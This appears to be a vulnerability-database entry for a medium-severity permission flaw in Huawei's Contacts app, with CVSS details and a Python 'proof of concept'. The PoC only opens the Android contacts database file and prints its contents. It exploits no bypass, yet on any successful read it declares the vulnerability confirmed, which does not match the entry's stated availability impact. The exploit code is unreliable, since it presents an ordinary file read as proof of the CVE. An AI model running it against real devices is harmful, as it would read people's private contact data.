Permission control vulnerability in contacts. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
华为联系人 (具体受影响版本请参考厂商公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41961
# This script demonstrates a permission bypass in the Contacts application.
import os
# Simulate accessing a protected resource without proper permissions
TARGET_DB = "/data/data/com.android.contacts/databases/contacts.db"
def check_vulnerability():
try:
# Attempt to read the contacts database directly
# In a vulnerable version, this check might be bypassed or insufficient
if os.path.exists(TARGET_DB):
with open(TARGET_DB, 'r') as f:
data = f.read(100)
print("[+] Vulnerability Confirmed: Read access to contacts database obtained.")
print("[+] Data snippet:", data)
else:
print("[-] Target database not found.")
except PermissionError:
print("[-] Permission denied. System might be patched.")
except Exception as e:
print("[-] Error:", str(e))
if __name__ == "__main__":
check_vulnerability()